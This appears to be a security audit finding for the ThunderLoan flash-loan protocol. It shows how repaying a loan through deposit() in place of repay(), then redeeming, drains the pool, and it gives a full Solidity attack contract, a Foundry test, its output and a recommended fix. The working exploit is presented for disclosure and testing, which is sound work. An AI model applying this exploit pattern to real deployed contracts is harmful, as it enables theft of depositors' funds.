Summary
Malicious user is able to drain all the pool balance due to bad implementation of flash-loan service.
Vulnerability Details
In the current implementation of of ThunderLoan flashloan(), and specifically at the end of the function we check if (endingBalance < startingBalance + fee) a malicious user can use the deposit function in order to trick the protocol. The user can redeem them later on.
The POC below shows, the malicious user of the ThunderLoan can carefully craft payload to steal funds via flashloan function.
Here is a simplified version of the main MockFlashLoanReceiver contract, instead of using the repay funtion in the callback
we executed the deposit function so that the pool think that the flashloan is paid however at the end of the attack function
we make sure to reedem and transfer all the tokens to the owner of this contract (attacker)
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import {ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
contract MockFlashLoanReceiver2 {
error MockFlashLoanReceiver__onlyOwner();
error MockFlashLoanReceiver__onlyThunderLoan();
using SafeERC20 for IERC20;
address s_owner;
address s_thunderLoan;
uint256 s_balanceDuringFlashLoan;
uint256 s_balanceAfterFlashLoan;
constructor(address thunderLoan) {
s_owner = msg.sender;
s_thunderLoan = thunderLoan;
s_balanceDuringFlashLoan = 0;
}
function attack(IERC20 token, uint256 amount) external {
require(msg.sender == s_owner, "not owner");
ThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), amount, "");
uint256 balance = IERC20(token).balanceOf(address(s_thunderLoan));
ThunderLoan(s_thunderLoan).redeem(token, balance);
uint256 balance2 = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(msg.sender, balance2);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
IERC20(token).approve(s_thunderLoan, amount + fee);
ThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
return true;
}
}
then add on our ThunderLoanTest.t.sol at the end of the file this function
function testFlashLoanHack() public setAllowedToken hasDeposits {
tokenA.mint(address(thunderLoan), AMOUNT);
uint256 amountToBorrow = AMOUNT * 20;
vm.startPrank(user);
mockFlashLoanReceiver2 = new MockFlashLoanReceiver2(address(thunderLoan));
tokenA.mint(address(mockFlashLoanReceiver2), AMOUNT);
console.log(
"balance of user before flashloan ",
tokenA.balanceOf(address(user))
);
mockFlashLoanReceiver2.attack(tokenA,amountToBorrow);
console.log(
"balance of user after flashloan ",
tokenA.balanceOf(address(user))
);
vm.stopPrank();
}
when executing everything correctly the balance of user will look like this
forge test --match-test testFlashLoanHack -vv
[⠢] Compiling...
No files changed, compilation skipped
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testFlashLoanHack() (gas: 1780693)
Logs:
balance of user before flashloan 0
balance of user after flashloan 19441051566081775310
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.49ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
High
Tools Used
Foundry, Manual Analysis
Recommendations
Check if the user actually paid back the loan using the repay() and not any other function available in the protocol